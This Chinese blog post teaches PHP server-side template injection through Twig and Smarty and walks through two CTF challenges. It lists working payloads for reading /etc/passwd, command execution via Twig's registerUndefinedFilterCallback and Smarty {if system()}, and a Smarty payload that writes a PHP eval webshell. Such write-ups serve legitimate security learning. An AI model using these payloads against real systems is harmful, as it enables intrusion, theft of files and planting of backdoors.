SSTI注入————php的SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

​ 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

​ 漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

​ 凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎

 

 

SSTI和SQL注入原理差不多,都是因为对输入的字符串控制不足,把输入的字符串当成命令执行。

SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架

SSTI漏洞大致可以分为三种类型————python中的ssti java中的ssti php中的ssti

 

 

这里不细致介绍模板之类的内容 提供关于ssti注入的题 在题中理解 涉及的内容较多 这里提供一个大佬讲解的ssti的详细内容

SSTI模板注入_ssti注入_天猫来下凡的博客-CSDN博客
 

模板基础知识:

{% ... %} 用来声明变量

{{ ... }} 用来将表达式打印到模板输出

{# ... #} 表示未包含在模板输出中的注释

在模板注入中,主要使用的是{{}} 和 {%%}

检测是否存在ssti
在url后面,或是参数中添加 {{ 6*6 }} ,查看返回的页面中是否有 36

php中的ssti

1.Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid

用法:

文件读取:
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

RCE:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

 

2.Smarty

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法

{self::getStreamVariable("file:///etc/passwd")}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
常规利用方式:
1. {$smarty.version}
{$smarty.version}  #获取smarty的版本号
2. {php}{/php}
{php}phpinfo();{/php}  #执行相应的php代码
因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用
3. {literal}
<script language="php">phpinfo();</script>   
这种写法只适用于php5环境
4. getstreamvariable
{self::getStreamVariable("file:///etc/passwd")}
在3.1.30的Smarty版本中官方已经把该静态方法删除
5. {if}{/if}
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}

接下来看题 关于php的ssti

[CISCN2019 华东南赛区]Web11

打开链接 在最下面发现了 Smarty 先找一下注入点 看是不是ssti注入

题目中显示API的URL由于环境的原因无法使用,但我们的IP依旧显示在了页面的右上角,根据他的提示XFF 这题应该是在X-Forwarded-For里面构造payload

先用a{*comment*}b试一试看看是不是是ssti注入

发现有回显 是smarty ssti

看一下smarty的版本    {$smarty.version}

根据这个版本发现在smarty ssti中的常用方法的2 3 4 都用不了

只能用 第5种 if 的来构造payload  先用{if phpinfo()}{/if}看能不能执行成功

用这个payload看一下根目录 {if system('ls /')}{/if}

看到了flag文件 cat一下 {if system('cat /flag')}{/if}

 [BJDCTF2020]Cookie is so stable

打开题目 有一个flag的页面和hint页面

flag页面是可以输入的 没什么思路 看看hint页面 发现也是没有什么 看一看源码

 

 说是让我们好好看看cookies

先试试{{7*7}}

发现回显49

进一步尝试 {{7*'7'}} 发现回显是49 确认是Twig ssti  如果是jinia2 ssti 就会回显7777777

抓包 找注入点

找到了注入点 在cookies里面的user

直接用twig ssti 的payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}把id改成ls /

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /")}}(无效做法)

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

  只显示了var目录

  继续 /var/www

/var/www/localhost

/var/www/localhost/htdocs

 发现到这里就没有了 其实不用这么麻烦的 直接cat /flag就可以出

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值